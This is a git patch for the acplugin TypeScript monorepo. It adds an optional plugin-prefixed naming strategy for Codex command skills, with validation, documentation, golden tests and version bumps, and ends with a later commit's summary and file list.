package、配置工厂导出名与脚手架依赖范围。 */ +const PLATFORM_PACKAGES: Readonly> = { + 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode', version: '^0.0.1-beta' }, + 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex', version: '^0.0.2-beta' }, + 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor', version: '^0.0.1-beta' }, + 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity', version: '^0.0.1-beta' }, + 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode', version: '^0.0.1-beta' }, + 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi', version: '^0.0.1-beta' }, }; /** Plugin 名称接受的小写 kebab-case 格式。 */ @@ -174,8 +174,11 @@ function packageSource(name: string, platforms: readonly InitPlatformId[], hooks '@types/node': '^20.19.0', 'typescript': '^7.0.2', }; - for (const platform of platforms) - devDependencies[PLATFORM_PACKAGES[platform].packageName] = '^0.0.1-beta'; + for (const platform of platforms) { + /** 官方 Platform 独立发布后由自身元数据决定脚手架依赖范围。 */ + const definition = PLATFORM_PACKAGES[platform]; + devDependencies[definition.packageName] = definition.version; + } if (hooks) devDependencies['@tokenroll/acplugin-extension-hooks'] = '^0.0.1-beta'; if (mcp) diff --git a/packages/docs/platforms/codex.md b/packages/docs/platforms/codex.md index df7eba7..0b3e526 100644 --- a/packages/docs/platforms/codex.md +++ b/packages/docs/platforms/codex.md @@ -23,6 +23,7 @@ export default defineConfig({ - `strict?: boolean`:覆盖兼容性严格度。 - `interface?`:安装界面的描述、开发者、分类、URL、颜色、图标、截图和默认 prompt。 - `marketplace?`:可选 Marketplace 名称、展示名、分类和 installation policy。 +- `generatedSkillIds.command?: 'plugin-prefixed'`:显式选择 `-`;缺省仍为 `command-`。 所有字段都通过受控 Schema 校验,不接受任意 Manifest 透传。 @@ -31,7 +32,7 @@ export default defineConfig({ 主 Plugin 以 `.codex-plugin/plugin.json` 和 `skills/` 为核心: - Canonical Skill 保持 native。 -- Command 转换为 `skills/command-`,参数占位符变成显式调用指导;`argumentHint` 无 UI 时为 degraded。 +- Command 默认转换为 `skills/command-`;显式配置 `generatedSkillIds.command: 'plugin-prefixed'` 后使用 `skills/-`。参数占位符变成显式调用指导;`argumentHint` 无 UI 时为 degraded。 - Agent 转换为 `skills/agent-` 的指导型 Skill,model/capabilities 只保留为文本,因此为 degraded。 存在 Agent 的工程默认 strict 会失败;只有明确接受这一降级时才使用 `codex({ strict: false })`。可选 Marketplace 写入 `.agents/plugins/marketplace.json`。 diff --git a/packages/docs/resources/compatibility-matrix.md b/packages/docs/resources/compatibility-matrix.md index dff949b..69095dc 100644 --- a/packages/docs/resources/compatibility-matrix.md +++ b/packages/docs/resources/compatibility-matrix.md @@ -5,7 +5,7 @@ | Platform | Command | Skill | Agent | | --- | --- | --- | --- | | Claude Code | Native | Native | Native | -| Codex | Transform → `command-*` Skill | Native | Degraded → `agent-*` guidance Skill | +| Codex | Transform → 默认 `command-*`、可选 Plugin 前缀 Skill | Native | Degraded → `agent-*` guidance Skill | | Cursor | Native | Native | Native | | Antigravity | Transform → explicit Skill | Native | Degraded → guidance Skill | | OpenCode | Native workspace Command | Native workspace Skill | Native workspace Agent;capability 为 transform | diff --git a/packages/platforms/codex/README.md b/packages/platforms/codex/README.md index f5a21df..a89091e 100644 --- a/packages/platforms/codex/README.md +++ b/packages/platforms/codex/README.md @@ -18,6 +18,23 @@ export default defineConfig({ }); ``` +Commands become explicit Codex Skills named `command-` by default. If a +consumer needs the Plugin name to remain visible in each generated Command +Skill ID, opt in without changing the canonical Command: + +```ts +codex({ + generatedSkillIds: { + command: 'plugin-prefixed', + }, +}) +``` + +For Plugin `my-plugin`, Command `bootstrap` then becomes +`skills/my-plugin-bootstrap/SKILL.md`. The default remains +`skills/command-bootstrap/SKILL.md`; templates and per-Command overrides are +not supported. + The package also exports the named `codex` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. ## License diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json index 9751a7d..e2ebf43 100644 --- a/packages/platforms/codex/package.json +++ b/packages/platforms/codex/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-codex", - "version": "0.0.1-beta", + "version": "0.0.2-beta", "description": "Codex Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/codex/src/components.ts b/packages/platforms/codex/src/components.ts index c869a6a..19e931b 100644 --- a/packages/platforms/codex/src/components.ts +++ b/packages/platforms/codex/src/components.ts @@ -10,6 +10,7 @@ import { type PluginProject, } from '@tokenroll/acplugin'; import { CODEX_BRAND_COLOR_PATTERN, CODEX_SKILL_PRODUCTS } from './protocol.js'; +import type { CodexCommandGeneratedSkillIdStrategy } from './types.js'; /** Codex Skill `agents/openai.yaml` 允许配置的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set([ @@ -152,16 +153,38 @@ function codexFields(component: Component): UnknownFields { return component.platforms.codex ?? {}; } +/** + * 把 canonical Command ID 转换为唯一的最终 Codex Skill ID。 + * + * @param project 提供已校验 Plugin name 的规范工程。 + * @param strategy Platform 工厂已验证并按值捕获的可选策略。 + * @param commandId 已由 Scanner 校验的 canonical Command ID。 + * @returns 默认带 Command 类型前缀,或显式选择 Plugin 前缀的最终 ID。 + */ +function commandSkillId( + project: PluginProject, + strategy: CodexCommandGeneratedSkillIdStrategy | undefined, + commandId: string, +): string { + return strategy === 'plugin-prefixed' + ? `${project.metadata.name}-${commandId}` + : `command-${commandId}`; +} + /** * 列出全部规范 Component 最终占用的 Codex Skill ID。 * * @param project 已完成规范扫描的 Plugin 工程。 + * @param commandStrategy Platform 工厂已验证并按值捕获的 Command 策略。 * @returns 保持 Component 类型与扫描顺序的生成身份。 */ -function generatedSkillIdentities(project: PluginProject): GeneratedSkillIdentity[] { +function generatedSkillIdentities( + project: PluginProject, + commandStrategy: CodexCommandGeneratedSkillIdStrategy | undefined, +): GeneratedSkillIdentity[] { return [ ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), - ...project.commands.map(command => ({ id: `command-${command.id}`, subject: `command:${command.id}` })), + ...project.commands.map(command => ({ id: commandSkillId(project, commandStrategy, command.id), subject: `command:${command.id}` })), ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), ]; } @@ -170,11 +193,15 @@ function generatedSkillIdentities(project: PluginProject): GeneratedSkillIdentit * 在 prepare 阶段拒绝规范 ID 与 fallback ID 的大小写不敏感冲突。 * * @param context Codex Platform prepare 上下文。 + * @param commandStrategy Platform 工厂已验证并按值捕获的 Command 策略。 */ -export function validateGeneratedSkillIds(context: PlatformPrepareContext): void { +export function validateGeneratedSkillIds( + context: PlatformPrepareContext, + commandStrategy: CodexCommandGeneratedSkillIdStrategy | undefined, +): void { /** 已经占用最终 ID 的首个规范 Component。 */ const owners = new Map(); - for (const identity of generatedSkillIdentities(context.project)) { + for (const identity of generatedSkillIdentities(context.project, commandStrategy)) { /** Codex 安装表面应采用大小写不敏感的稳定冲突规则。 */ const key = identity.id.toLocaleLowerCase('en-US'); /** 已经占用同一最终 ID 的来源。 */ @@ -262,9 +289,13 @@ function appendSkillMetadata( * 把规范 Commands、Skills 与 Agents 转换为 Codex Skills。 * * @param context Platform generateBundle 生命周期上下文。 + * @param commandStrategy Platform 工厂已验证并按值捕获的 Command 策略。 * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 */ -export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { +export function generateComponentArtifacts( + context: PlatformGenerateContext, + commandStrategy: CodexCommandGeneratedSkillIdStrategy | undefined, +): ArtifactInput[] { /** 当前 Platform 累计生成的 Component Artifact。 */ const artifacts: ArtifactInput[] = []; @@ -299,8 +330,8 @@ export function generateComponentArtifacts(context: PlatformGenerateContext): Ar } for (const command of context.project.commands) { - /** Command 使用固定前缀进入统一 Codex Skill 命名空间。 */ - const id = `command-${command.id}`; + /** Command 缺省使用类型前缀,也可显式选择已校验的 Plugin 前缀。 */ + const id = commandSkillId(context.project, commandStrategy, command.id); artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ name: id, description: command.description, diff --git a/packages/platforms/codex/src/index.ts b/packages/platforms/codex/src/index.ts index ee88f2e..93c2d57 100644 --- a/packages/platforms/codex/src/index.ts +++ b/packages/platforms/codex/src/index.ts @@ -20,6 +20,8 @@ import { validateCodexBundle } from './validator.js'; export type { CodexCategory, + CodexCommandGeneratedSkillIdStrategy, + CodexGeneratedSkillIdsOptions, CodexInterfaceOptions, CodexMarketplaceInstallation, CodexMarketplaceOptions, @@ -41,6 +43,8 @@ export const PLATFORM_API_VERSION = '1' as const; */ export function codex(options: CodexPlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); + /** generateBundle Context 不暴露 options,因此只按值捕获已校验的纯字符串策略。 */ + const commandGeneratedSkillId = options.generatedSkillIds?.command; /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ const { strict, ...platformOptions } = options; return definePlatform({ @@ -52,13 +56,13 @@ export function codex(options: CodexPlatformOptions = {}): AcpluginPlatform { validateComponentFields: validateCodexComponentFields, /** prepare 固定 Manifest、最终 Skill 命名空间和 Extension 空位。 */ prepare: (context) => { - validateGeneratedSkillIds(context); + validateGeneratedSkillIds(context, commandGeneratedSkillId); return { documents: [createManifestDocument(context)], artifacts: [] }; }, /** generateBundle 在 Adapter 合并完成后生成 Skills 并序列化 Manifest。 */ generateBundle: (context) => { /** 原生 Skill 与 Command/Agent fallback 产生的 Component Artifact。 */ - const componentArtifacts = generateComponentArtifacts(context); + const componentArtifacts = generateComponentArtifacts(context, commandGeneratedSkillId); return { id: 'plugin', role: 'primary', diff --git a/packages/platforms/codex/src/manifest.ts b/packages/platforms/codex/src/manifest.ts index fa3f621..bb24c91 100644 --- a/packages/platforms/codex/src/manifest.ts +++ b/packages/platforms/codex/src/manifest.ts @@ -130,17 +130,35 @@ function validateMarketplaceOptions(options: CodexMarketplaceOptions | undefined } } +/** + * 校验 canonical Component 转换为 Codex Skill 时的 ID 策略。 + * + * @param options 用户声明且可能绕过 TypeScript 的未知嵌套配置。 + */ +function validateGeneratedSkillIdsOptions(options: unknown): void { + if (options === undefined) + return; + if (typeof options !== 'object' || options === null || Array.isArray(options)) + throw new TypeError('Codex generatedSkillIds must be an object.'); + rejectUnknownFields(options, new Set(['command']), 'generatedSkillIds'); + /** 当前唯一开放策略使用已校验的 Plugin name 作为生成前缀。 */ + const command = (options as Readonly>).command; + if (command !== undefined && command !== 'plugin-prefixed') + throw new TypeError('Codex generatedSkillIds.command must be "plugin-prefixed".'); +} + /** * 校验 Codex Platform 工厂公开配置。 * * @param options 用户传入且可能来自宽类型变量的平台选项。 */ export function validatePlatformOptions(options: CodexPlatformOptions): void { - rejectUnknownFields(options, new Set(['strict', 'interface', 'marketplace']), 'Platform'); + rejectUnknownFields(options, new Set(['strict', 'interface', 'marketplace', 'generatedSkillIds']), 'Platform'); if (options.strict !== undefined && typeof options.strict !== 'boolean') throw new TypeError('Codex strict must be a boolean.'); validateInterfaceOptions(options.interface); validateMarketplaceOptions(options.marketplace); + validateGeneratedSkillIdsOptions(options.generatedSkillIds); } /** diff --git a/packages/platforms/codex/src/types.ts b/packages/platforms/codex/src/types.ts index 007ad05..f4a4c7d 100644 --- a/packages/platforms/codex/src/types.ts +++ b/packages/platforms/codex/src/types.ts @@ -35,11 +35,20 @@ export interface CodexMarketplaceOptions { readonly policy?: CodexMarketplacePolicyOptions; } +/** Command 转换为 Codex Skill 时可选择的确定性 ID 策略。 */ +export type CodexCommandGeneratedSkillIdStrategy = 'plugin-prefixed'; + +/** Codex 从 canonical Component 生成 Skill ID 时的 opt-in 策略。 */ +export interface CodexGeneratedSkillIdsOptions { + readonly command?: CodexCommandGeneratedSkillIdStrategy; +} + /** 创建 Codex Platform 时可声明的公开选项。 */ export interface CodexPlatformOptions { readonly strict?: boolean; readonly interface?: CodexInterfaceOptions; readonly marketplace?: CodexMarketplaceOptions; + readonly generatedSkillIds?: CodexGeneratedSkillIdsOptions; } /** Codex Plugin 清单中面向安装界面的完整展示区域。 */ diff --git a/packages/platforms/codex/test/golden/skills/release-tools-release/SKILL.md b/packages/platforms/codex/test/golden/skills/release-tools-release/SKILL.md new file mode 100644 index 0000000..25881da --- /dev/null +++ b/packages/platforms/codex/test/golden/skills/release-tools-release/SKILL.md @@ -0,0 +1,5 @@ +--- +description: Prepare a release. +name: release-tools-release +--- +Prepare release the arguments supplied with this explicit invocation. diff --git a/packages/platforms/codex/test/golden/skills/release-tools-release/agents/openai.yaml b/packages/platforms/codex/test/golden/skills/release-tools-release/agents/openai.yaml new file mode 100644 index 0000000..abb36f7 --- /dev/null +++ b/packages/platforms/codex/test/golden/skills/release-tools-release/agents/openai.yaml @@ -0,0 +1,5 @@ +interface: + display_name: Release command + short_description: Prepare a release +policy: + allow_implicit_invocation: false diff --git a/packages/platforms/codex/test/platform.test.ts b/packages/platforms/codex/test/platform.test.ts index f518006..de4cb5e 100644 --- a/packages/platforms/codex/test/platform.test.ts +++ b/packages/platforms/codex/test/platform.test.ts @@ -183,6 +183,45 @@ describe('Codex Platform', () => { expect(await fs.readFile(path.join(output, 'assets/logo.svg'), 'utf8')).toContain('viewBox="0 0 48 48"'); }); + it('opts into one plugin-prefixed Command Skill ID across Plugin and Marketplace output', async () => { + /** 复用完整严格工程,隔离 generated ID 策略对同一 Command 的影响。 */ + const root = await temporaryProject(); + await writeSupportedProject(root); + /** Plugin 前缀策略必须是显式 opt-in,Marketplace 只继承主单元。 */ + const platform = codex({ + generatedSkillIds: { command: 'plugin-prefixed' }, + interface: { category: 'Developer Tools' }, + marketplace: {}, + }); + /** 完成主 Plugin 和单 Plugin Marketplace 构建后的稳定结果。 */ + const result = await run(resolvedConfig(root, 'build', platform)); + /** 最终 generated ID 由配置中的稳定 Plugin name 与 canonical Command ID 组成。 */ + const generatedId = 'release-tools-release'; + /** 主 Plugin 使用的输出根。 */ + const pluginRoot = path.join(root, 'dist/codex/plugin'); + /** 单 Plugin Marketplace 使用的输出根。 */ + const marketplaceRoot = path.join(root, 'dist/codex/marketplace'); + + expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + subject: 'command:release', + capability: 'component', + level: 'transform', + transformation: `Explicit Skill ${generatedId}`, + })); + await expectGolden( + path.join(pluginRoot, `skills/${generatedId}/SKILL.md`), + `skills/${generatedId}/SKILL.md`, + ); + await expectGolden( + path.join(pluginRoot, `skills/${generatedId}/agents/openai.yaml`), + `skills/${generatedId}/agents/openai.yaml`, + ); + await expect(fs.access(path.join(pluginRoot, 'skills/command-release/SKILL.md'))).rejects.toThrow(); + expect(await fs.readFile(path.join(marketplaceRoot, `skills/${generatedId}/SKILL.md`))) + .toEqual(await fs.readFile(path.join(pluginRoot, `skills/${generatedId}/SKILL.md`))); + }); + it('rejects only an actually declared Command argument hint in strict mode', async () => { /** 单 Command 工程用于隔离 hint 兼容性。 */ const root = await temporaryProject(); @@ -289,6 +328,59 @@ Run the existing workflow. })); }); + it('rejects plugin-prefixed Command collisions and overlong combined identities', async () => { + /** 第一份工程让 opt-in Command 与 canonical Skill 占用同一最终 ID。 */ + const collisionRoot = await temporaryProject(); + await fs.mkdir(path.join(collisionRoot, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(collisionRoot, 'src/skills/release-tools-release'), { recursive: true }); + await fs.writeFile(path.join(collisionRoot, 'src/commands/release.md'), `--- +description: Prepare a release. +--- +Prepare the release. +`); + await fs.writeFile(path.join(collisionRoot, 'src/skills/release-tools-release/SKILL.md'), `--- +description: Existing colliding Skill. +--- +Run the existing workflow. +`); + /** prepare 必须使用与 generateBundle 相同的 opt-in ID resolver。 */ + const collision = await run(resolvedConfig( + collisionRoot, + 'build', + codex({ generatedSkillIds: { command: 'plugin-prefixed' } }), + )); + + expect(collision).toMatchObject({ success: false, committed: false }); + expect(collision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_GENERATED_SKILL_ID_COLLISION', + message: expect.stringContaining('release-tools-release'), + })); + + /** 第二份工程验证重复 Plugin 前缀仍受官方组合身份长度限制。 */ + const lengthRoot = await temporaryProject(); + await fs.mkdir(path.join(lengthRoot, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(lengthRoot, 'src/commands/prepare-release-workflow.md'), `--- +description: Prepare a release workflow. +--- +Prepare the release workflow. +`); + /** 较长但本身合法的 Plugin name 与 generated Skill name 合并后超过 64 字符。 */ + const lengthConfig = resolveConfig({ + name: 'organization-release-operations', + version: '1.0.0', + description: 'Organization release operations.', + platforms: [codex({ generatedSkillIds: { command: 'plugin-prefixed' } })], + }, path.join(lengthRoot, 'acplugin.config.ts'), 'build', 'production'); + expect(lengthConfig.diagnostics).toEqual([]); + /** 最终候选校验必须拒绝超过官方组合身份限制的 Skill。 */ + const overlong = await run(lengthConfig.config!); + + expect(overlong).toMatchObject({ success: false, committed: false }); + expect(overlong.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_SKILL_IDENTITY_TOO_LONG', + })); + }); + it('lets independent Hooks and MCP Adapters use only declared add-only extension points', async () => { /** 至少含一个原生 Skill 的 Extension host 工程。 */ const root = await temporaryProject(); @@ -444,6 +536,11 @@ Use the extension resources. expect(() => codex({ interface: { displayName: 'duplicate' } } as never)).toThrow('Unknown Codex interface option'); expect(() => codex({ interface: { websiteURL: 'https://user:secret@example.com' } })).toThrow('without credentials'); expect(() => codex({ marketplace: { policy: { installation: 'UNKNOWN' } } } as never)).toThrow('not supported'); + expect(() => codex({ generatedSkillIds: null } as never)).toThrow('must be an object'); + expect(() => codex({ generatedSkillIds: [] } as never)).toThrow('must be an object'); + expect(() => codex({ generatedSkillIds: { skill: 'plugin-prefixed' } } as never)).toThrow('Unknown Codex generatedSkillIds option'); + expect(() => codex({ generatedSkillIds: { command: 'template' } } as never)).toThrow('must be "plugin-prefixed"'); + expect(() => codex({ generatedSkillIds: { command: true } } as never)).toThrow('must be "plugin-prefixed"'); /** 非法 Component 专属字段应在 Scanner 阶段失败。 */ const root = await temporaryProject(); diff --git a/packages/test/test/codex.test.ts b/packages/test/test/codex.test.ts index d6abb9b..ea11473 100644 --- a/packages/test/test/codex.test.ts +++ b/packages/test/test/codex.test.ts @@ -107,6 +107,7 @@ describe('Codex public Platform integration', () => { displayName: 'TokenRoll Plugins', policy: { installation: 'INSTALLED_BY_DEFAULT' }, }, + generatedSkillIds: { command: 'plugin-prefixed' }, }); expect(platform.id).toBe(PLATFORM_ID); @@ -122,10 +123,47 @@ describe('Codex public Platform integration', () => { displayName: 'TokenRoll Plugins', policy: { installation: 'INSTALLED_BY_DEFAULT' }, }, + generatedSkillIds: { command: 'plugin-prefixed' }, }); expect(Object.isFrozen(platform.options)).toBe(true); expect(Object.isFrozen(platform.options!.interface)).toBe(true); expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); + expect(Object.isFrozen(platform.options!.generatedSkillIds)).toBe(true); + }); + + it('loads plugin-prefixed Command Skill IDs through the built public packages', async () => { + /** 使用真实配置加载路径验证独立 Platform package 与主包 bundle 的品牌一致性。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-codex-generated-id-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/bootstrap.md'), `--- +description: Bootstrap the repository. +--- +Bootstrap the repository. +`); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import codex from ${JSON.stringify(codexEntry)}; +export default { + name: 'repository-ops', + version: '1.0.0', + description: 'Repository operations.', + platforms: [codex({ generatedSkillIds: { command: 'plugin-prefixed' } })], +}; +`); + /** 子进程加载真实 dist 入口并完成事务提交。 */ + const result = await runBuiltProject(root); + /** 最终 Skill ID 不依赖生成后重命名或报告修补。 */ + const generatedId = 'repository-ops-bootstrap'; + + expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); + expect(result.deliveryUnits.find(unit => unit.id === 'plugin')?.artifacts) + .toContainEqual(expect.objectContaining({ path: `skills/${generatedId}/SKILL.md` })); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + subject: 'command:bootstrap', + transformation: `Explicit Skill ${generatedId}`, + })); + expect(await fs.readFile(path.join(root, `dist/codex/plugin/skills/${generatedId}/SKILL.md`), 'utf8')) + .toContain(`name: ${generatedId}`); }); it('keeps Hooks and MCP implementation packages outside the Platform dependency boundary', async () => { diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index 1a31041..b226aa1 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -33,7 +33,7 @@ describe('init', () => { engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, devDependencies: { '@tokenroll/acplugin-platform-claude-code': '^0.0.1-beta', - '@tokenroll/acplugin-platform-codex': '^0.0.1-beta', + '@tokenroll/acplugin-platform-codex': '^0.0.2-beta', 'typescript': '^7.0.2', }, }); diff --git a/packages/test/test/public-api.types.ts b/packages/test/test/public-api.types.ts index 6970f39..e5787fb 100644 --- a/packages/test/test/public-api.types.ts +++ b/packages/test/test/public-api.types.ts @@ -27,7 +27,10 @@ export function verifyPublicPlatformTypes(): void { /** 六个官方 package 各自约束自己的工厂选项。 */ const official = [ claudeCode({ defaultEnabled: false, marketplace: { owner: { name: 'TokenRoll' } } }), - codex({ interface: { category: 'Productivity' } }), + codex({ + interface: { category: 'Productivity' }, + generatedSkillIds: { command: 'plugin-prefixed' }, + }), cursor({ strict: false }), antigravity({ strict: false }), openCode({ workspace: { schema: true } }), diff --git a/packages/test/test/workspace-layout.test.ts b/packages/test/test/workspace-layout.test.ts index 7bdc0f6..855f235 100644 --- a/packages/test/test/workspace-layout.test.ts +++ b/packages/test/test/workspace-layout.test.ts @@ -6,14 +6,14 @@ import { describe, expect, it } from 'vitest'; /** Workspace 边界测试读取的仓库绝对根目录。 */ const root = fileURLToPath(new URL('../../..', import.meta.url)); -/** 六个官方 Platform 的目录名与公开包名。 */ +/** 六个官方 Platform 的目录名、公开包名与当前独立版本。 */ const platformPackages = [ - ['claude-code', '@tokenroll/acplugin-platform-claude-code'], - ['codex', '@tokenroll/acplugin-platform-codex'], - ['cursor', '@tokenroll/acplugin-platform-cursor'], - ['antigravity', '@tokenroll/acplugin-platform-antigravity'], - ['opencode', '@tokenroll/acplugin-platform-opencode'], - ['pi', '@tokenroll/acplugin-platform-pi'], + ['claude-code', '@tokenroll/acplugin-platform-claude-code', '0.0.1-beta'], + ['codex', '@tokenroll/acplugin-platform-codex', '0.0.2-beta'], + ['cursor', '@tokenroll/acplugin-platform-cursor', '0.0.1-beta'], + ['antigravity', '@tokenroll/acplugin-platform-antigravity', '0.0.1-beta'], + ['opencode', '@tokenroll/acplugin-platform-opencode', '0.0.1-beta'], + ['pi', '@tokenroll/acplugin-platform-pi', '0.0.1-beta'], ] as const; /** 九个独立版本的正式公开包清单路径。 */ @@ -53,7 +53,7 @@ describe('final workspace skeleton', () => { expect(manifests.map(manifest => manifest.name)).toEqual(platformPackages.map(([, name]) => name)); expect(manifests.every(manifest => manifest.private !== true)).toBe(true); - expect(manifests.every(manifest => manifest.version === '0.0.1-beta')).toBe(true); + expect(manifests.map(manifest => manifest.version)).toEqual(platformPackages.map(([, , version]) => version)); expect(manifests.every(manifest => manifest.peerDependencies?.['@tokenroll/acplugin'] === 'workspace:^')).toBe(true); expect(manifests.every(manifest => manifest.dependencies?.['@acplugin/core'] === undefined)).toBe(true); }); From 889da323a73d0016870390be32f82cc0c79c6a00 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Wed, 19 Aug 2026 10:54:22 +0800 Subject: [PATCH 23/27] feat: enhance release verification and package management - Refactored to dynamically load public package manifests and validate ecosystem version snapshots. - Introduced function to gather all public package manifests from specified directories. - Added function to ensure consistency between ecosystem versions and workspace manifests. - Updated dependency verification logic in migration and consumer verification processes. - Adjusted import paths in various modules to align with new package structure, including the introduction of . - Enhanced error handling and assertions for better validation during the release process. chore: update TypeScript configuration - Added new path mappings for and in . - Updated path mapping for to reflect the new SDK structure. --- .agents/skills/add-converter/SKILL.md | 10 +- .agents/skills/add-platform/SKILL.md | 34 +- .changeset/calm-tools-name.md | 5 - .changeset/initial-1-0-baseline.md | 45 - .changeset/kernel-v2-sdk-boundary.md | 29 + .changeset/pre.json | 20 + .github/workflows/check.yml | 1 + .github/workflows/patch.yml | 5 + AGENTS.md | 55 +- README.md | 77 +- README.zh-CN.md | 79 +- .../0001-lifecycle-determinism-and-cache.md | 53 +- ...1-lifecycle-determinism-and-cache.zh-CN.md | 53 +- .../0002-extension-contribution-order.md | 46 +- ...0002-extension-contribution-order.zh-CN.md | 46 +- .../0004-first-class-platform-packages.md | 5 +- ...004-first-class-platform-packages.zh-CN.md | 5 +- llmdoc/architecture/system.md | 130 +- llmdoc/architecture/system.zh-CN.md | 132 +- llmdoc/guides/commenting.zh-CN.md | 2 +- llmdoc/guides/package-code-tour.zh-CN.md | 936 +++---------- llmdoc/guides/release.md | 10 +- llmdoc/guides/release.zh-CN.md | 10 +- llmdoc/guides/usage.md | 24 +- llmdoc/guides/usage.zh-CN.md | 24 +- llmdoc/index.md | 6 +- llmdoc/overview/project.md | 38 +- llmdoc/overview/project.zh-CN.md | 40 +- llmdoc/reference/conversion-matrix.md | 28 +- llmdoc/reference/conversion-matrix.zh-CN.md | 28 +- llmdoc/reference/domain-glossary.md | 37 +- llmdoc/reference/domain-glossary.zh-CN.md | 39 +- llmdoc/startup.md | 4 +- llmdoc/state/sync.md | 41 +- package.json | 6 +- packages/acplugin/README.md | 10 +- packages/acplugin/package.json | 14 +- packages/acplugin/src/cli.ts | 610 ++------- packages/acplugin/src/ecosystem-versions.json | 11 + packages/acplugin/src/ecosystem-versions.ts | 12 + packages/acplugin/src/index.ts | 162 +-- packages/acplugin/src/init.ts | 71 +- packages/acplugin/src/migration/index.ts | 206 ++- packages/acplugin/src/project-config.ts | 271 ---- packages/acplugin/src/project.ts | 24 + packages/acplugin/src/run-project.ts | 138 -- packages/acplugin/src/sdk.ts | 2 + packages/acplugin/src/version.ts | 4 + packages/acplugin/test/config-loader.test.ts | 185 --- packages/acplugin/test/dev-session.test.ts | 292 ++++ packages/acplugin/test/project.test.ts | 115 ++ packages/acplugin/test/sdk-boundary.test.ts | 29 + packages/acplugin/tsconfig.typedoc.json | 5 + packages/acplugin/tsdown.config.ts | 7 +- packages/acplugin/typedoc-entry.ts | 42 + packages/acplugin/typedoc.json | 5 + packages/core/package.json | 11 + packages/core/src/artifacts.ts | 227 --- packages/core/src/compiler/compiler-host.ts | 771 +++++++++++ packages/core/src/compiler/engine-loader.ts | 77 ++ packages/core/src/compiler/job-normalizer.ts | 276 ++++ .../core/src/compiler/license-pipeline.ts | 129 ++ packages/core/src/compiler/managed-auditor.ts | 251 ++++ .../core/src/compiler/managed-boundary.ts | 166 +++ packages/core/src/compiler/managed-options.ts | 507 +++++++ .../src/compiler/physical-path-auditor.ts | 45 + .../core/src/compiler/portable-auditor.ts | 101 ++ .../core/src/compiler/portable-options.ts | 107 ++ packages/core/src/compiler/portable-policy.ts | 180 +++ packages/core/src/config.ts | 496 ------- packages/core/src/contracts.ts | 524 ------- packages/core/src/delivery-units.ts | 113 -- packages/core/src/diagnostics.ts | 496 ------- packages/core/src/documents.ts | 348 ----- packages/core/src/index.ts | 19 +- packages/core/src/kernel-author.ts | 53 + packages/core/src/kernel-contracts.ts | 395 ++++++ packages/core/src/kernel-sdk.ts | 126 ++ packages/core/src/kernel-types.ts | 1030 ++++++++++++++ packages/core/src/kernel/asset-registry.ts | 531 +++++++ .../core/src/kernel/build-session-scope.ts | 28 + packages/core/src/kernel/build-session.ts | 1077 +++++++++++++++ packages/core/src/kernel/config-resolver.ts | 557 ++++++++ packages/core/src/kernel/data-boundary.ts | 64 + packages/core/src/kernel/dev-session.ts | 568 ++++++++ .../core/src/kernel/diagnostic-registry.ts | 143 ++ packages/core/src/kernel/execution-host.ts | 245 ++++ packages/core/src/kernel/extension-state.ts | 157 +++ packages/core/src/kernel/module-host.ts | 315 +++++ packages/core/src/kernel/path-policy.ts | 156 +++ packages/core/src/kernel/project.ts | 216 +++ packages/core/src/kernel/report-safety.ts | 23 + packages/core/src/kernel/source-registry.ts | 464 +++++++ packages/core/src/kernel/watch-registry.ts | 254 ++++ packages/core/src/kernel/work-directories.ts | 121 ++ packages/core/src/lifecycle.ts | 793 ----------- packages/core/src/output-paths.ts | 91 -- .../src/package/candidate-materializer.ts | 326 +++++ .../src/package/compatibility-registry.ts | 384 ++++++ .../core/src/package/distribution-registry.ts | 150 ++ packages/core/src/package/document-codec.ts | 82 ++ packages/core/src/package/json-snapshot.ts | 140 ++ packages/core/src/package/package-registry.ts | 430 ++++++ packages/core/src/package/report-builder.ts | 152 ++ packages/core/src/reports.ts | 117 -- .../core/src/resources/canonical-provider.ts | 680 +++++++++ .../core/src/resources/extension-provider.ts | 366 +++++ packages/core/src/resources/project-graph.ts | 24 + .../core/src/resources/public-provider.ts | 184 +++ .../core/src/resources/resource-registry.ts | 227 +++ packages/core/src/resources/runtime-paths.ts | 19 + .../core/src/resources/runtime-provider.ts | 247 ++++ packages/core/src/scanner.ts | 1217 ----------------- packages/core/src/serialization.ts | 4 +- packages/core/src/transaction.ts | 1165 ++++++++++++---- packages/core/src/types.ts | 375 ----- 